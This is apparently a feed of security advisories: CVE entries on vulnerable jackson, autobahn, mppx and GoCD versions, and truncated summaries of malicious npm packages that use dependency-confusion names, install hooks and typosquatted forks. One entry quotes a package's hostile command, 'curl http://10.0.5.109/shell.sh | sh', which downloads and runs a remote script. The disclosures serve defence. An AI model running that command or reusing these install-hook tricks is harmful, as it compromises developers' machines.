ai.koryki.core:koryki-core (>=0.1.0, <=0.2.0), ai.koryki.core:koryki-duckdb (>=0.1.0, <=0.2.0) +2921 more potentially affected by CVE-2026-91776 via tools.jackson.core:jackson-databind (>=3.2.0, <=3.2.2)

tools.jackson.core:jackson-databind MAVEN version =3.2.0, =0.1.0, =0.1.0, =0.1.0, =0.1.0, =0.1.0, =0.1.0, =0.1.0, =0.1.0, =0.1.0, =0.1.0, =0.1.0, =0.1.0, =0.7.24, =0.7.24, =2.2.0, =2.7.1 and more Source cves: CVE-2026-91776 Source advisory: MEND:CVE-2026-91776...

ai.codriverlabs:scaleout-build-control-plane-api (0.0.1-centraltest), ai.codriverlabs:scaleout-build-ecs (0.0.1-centraltest) +12650 more potentially affected by CVE-2026-89425 via com.fasterxml.jackson.core:jackson-core (>=2.22.0, <=2.22.2)

com.fasterxml.jackson.core:jackson-core MAVEN version =2.22.0, =0.9.3, =0.9.4, =0.9.7, =0.8.0, =0.9.9, =0.9.6, =0.7.0, =0.9.3, =0.9.9, =0.7.0, =0.7.0, =0.9.8 and more Source cves: CVE-2026-89425 Source advisory: MEND:CVE-2026-89425...

MAL-2026-16439 Malicious code in internallib_v550 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ef32979e04c5e9caca40fb38a9c9ed2b9a75e015e47a580a538b95541012b648 Package internallibv550 is named to resemble an internal private library and is published to the public npm registry, matching the classic...

Malicious code in internallib_v550 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ef32979e04c5e9caca40fb38a9c9ed2b9a75e015e47a580a538b95541012b648 Package internallibv550 is named to resemble an internal private library and is published to the public npm registry, matching the classic...

MAL-2026-16438 Malicious code in internallib_v497 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 37d367008a98c6bac6f9018de18ff5a75917cad3031c6bca1e7d4e5e257d3505 npm package [email protected] ships an index.js that exports a function which shell-executes curl http://10.0.5.109/shell.sh | sh via...

Malicious code in internallib_v497 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 37d367008a98c6bac6f9018de18ff5a75917cad3031c6bca1e7d4e5e257d3505 npm package [email protected] ships an index.js that exports a function which shell-executes curl http://10.0.5.109/shell.sh | sh via...

MAL-2026-16434 Malicious code in catplatebarcodeparser (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 189a06b0d55d6dab795bcb9ba3a97aa855b2556a54e85e15adc9f5bf20399976 [email protected] declares preinstall and postinstall lifecycle scripts that execute scripts/run.js on npm install. That script reads...

Malicious code in catplatebarcodeparser (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 189a06b0d55d6dab795bcb9ba3a97aa855b2556a54e85e15adc9f5bf20399976 [email protected] declares preinstall and postinstall lifecycle scripts that execute scripts/run.js on npm install. That script reads...

Malicious code in catqrcodeconverter (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 3333f7b95e551ebf6ed266fb1de661b7419520ed3a922b05910ede132c7d6757 Package [email protected] wires both preinstall and postinstall lifecycle hooks in package.json to execute scripts/run.js. On npm install,...

MAL-2026-16435 Malicious code in catqrcodeconverter (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 3333f7b95e551ebf6ed266fb1de661b7419520ed3a922b05910ede132c7d6757 Package [email protected] wires both preinstall and postinstall lifecycle hooks in package.json to execute scripts/run.js. On npm install,...

MAL-2026-16437 Malicious code in eslint-plugin-i18n-shreddit (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 3a22687900b0decfe83eda7516ec5c5169401894c98be27d115e5dffe64fc902 [email protected] ships no ESLint plugin code; the tarball's only function is a postinstall hook scripts.postinstall = 'node index.j...

Malicious code in eslint-plugin-i18n-shreddit (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 3a22687900b0decfe83eda7516ec5c5169401894c98be27d115e5dffe64fc902 [email protected] ships no ESLint plugin code; the tarball's only function is a postinstall hook scripts.postinstall = 'node index.j...

CVE-2026-52744: Missing Authorization

GoCD is a continuous deliver server. From 20.2.0 until 26.1.0, the internal GoCD UI fetch-artifact auto-suggestion API at /go/api/internal/pipelines//upstream does not adequately authorize access to upstream dependency data. An authenticated user can retrieve inter-pipeline dependency hierarchy...

ezbeq (>=2.5.0, <=2.8.0), fiduswriter (>=4.1.1, <=5.0.0a2) +6 more potentially affected by CVE-2026-77528 via autobahn (25.12.2)

autobahn PYPI version 25.12.2 is affected by a known vulnerability. The following packages have a transitive dependency on autobahn and may be impacted: - ezbeq =2.5.0, =4.1.1, =3.11.3, =1.3.9, =0.28.0, =2.0.0, =2.1.9 - senbai 0.0.1 Source cves: CVE-2026-77528 Source advisory:...

@0xsquid/mpp (>=0.1.1-beta.1, <=0.2.0), @agent-score/pay (>=0.1.0-rc.4, <=0.2.6) +166 more potentially affected by CVE-2026-63627 via mppx (>=0.1.1, <=0.7.0)

mppx NPM version =0.1.1, =0.1.1-beta.1, =0.1.0-rc.4, =0.0.1, =0.0.0-pr-246-20260515203519, =0.1.0, =0.1.0, =0.1.2, =0.1.1, =0.1.1, =0.1.0, =1.0.11, =1.0.0, =1.0.0, =2.4.0 and more Source cves: CVE-2026-63627 Source advisory: OSV:GHSA-727H-3VM5-QWQ6...

Malicious code in oracle-redis (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c800d0651330b1c1cd5d9c5cb2b6966eecefb2d2c28949d0670f485d820db3a6 The package publishes as oracle-redis but ships a verbatim copy of the ioredis README, source tree, and repository URL...

MAL-2026-16390 Malicious code in oracle-redis (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c800d0651330b1c1cd5d9c5cb2b6966eecefb2d2c28949d0670f485d820db3a6 The package publishes as oracle-redis but ships a verbatim copy of the ioredis README, source tree, and repository URL...

ac.pao:reports-java-engine (1.0.0), ae.alphapay:alphapay-gateway-client (2.0.0) +38048 more potentially affected by CVE-2026-89407 via com.fasterxml.jackson.core:jackson-core (>=2.17.1, <=2.18.10)

com.fasterxml.jackson.core:jackson-core MAVEN version =2.17.1, =1.0.0, =1.0.0, =0.1.1, =0.1.0-rc4, =0.1.0-rc4, =0.1.3, =0.21.0-alpha.1, =0.2.0, =0.2.0, =0.2.0, =0.1.1, =0.86.0, =0.120.0 and more Source cves: CVE-2026-89407 Source advisory: SNYK:JAVA-COMFASTERXMLJACKSONCORE-20059677...

MAL-2026-16386 Malicious code in @mikudeveloper/baileys (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d03bf7166a5353a0b22409ebbb724ee53f24394c9ff340df668c970772796e28 This package is a fork of Baileys that declares libsignal in package.json as github:tenka-san/libsignal-node — a git dependency with no commit SHA,...

ai.pipestream.proto-toolchain:ai.pipestream.proto-toolchain.gradle.plugin (>=0.7.24, <=0.7.26), ai.pipestream:quarkus-buf-grpc-generator (>=0.7.24, <=0.7.26) +2252 more potentially affected by CVE-2026-89407 via tools.jackson.core:jackson-core (>=3.2.0, <=3.2.1)

tools.jackson.core:jackson-core MAVEN version =3.2.0, =0.7.24, =0.7.24, =2.2.0, =2.2.0, =2.2.0, =2.2.0, =2.2.0, =2.2.0, =2.0.0-alpha4, =2.0.0-alpha4, =2.0.0-alpha4, =2.0.0-alpha4, =2.0.0-alpha4, =2.0.0-alpha6 - at.meks.quarkiverse.axonframework-extension:quarkus-axon-metrics-deploym...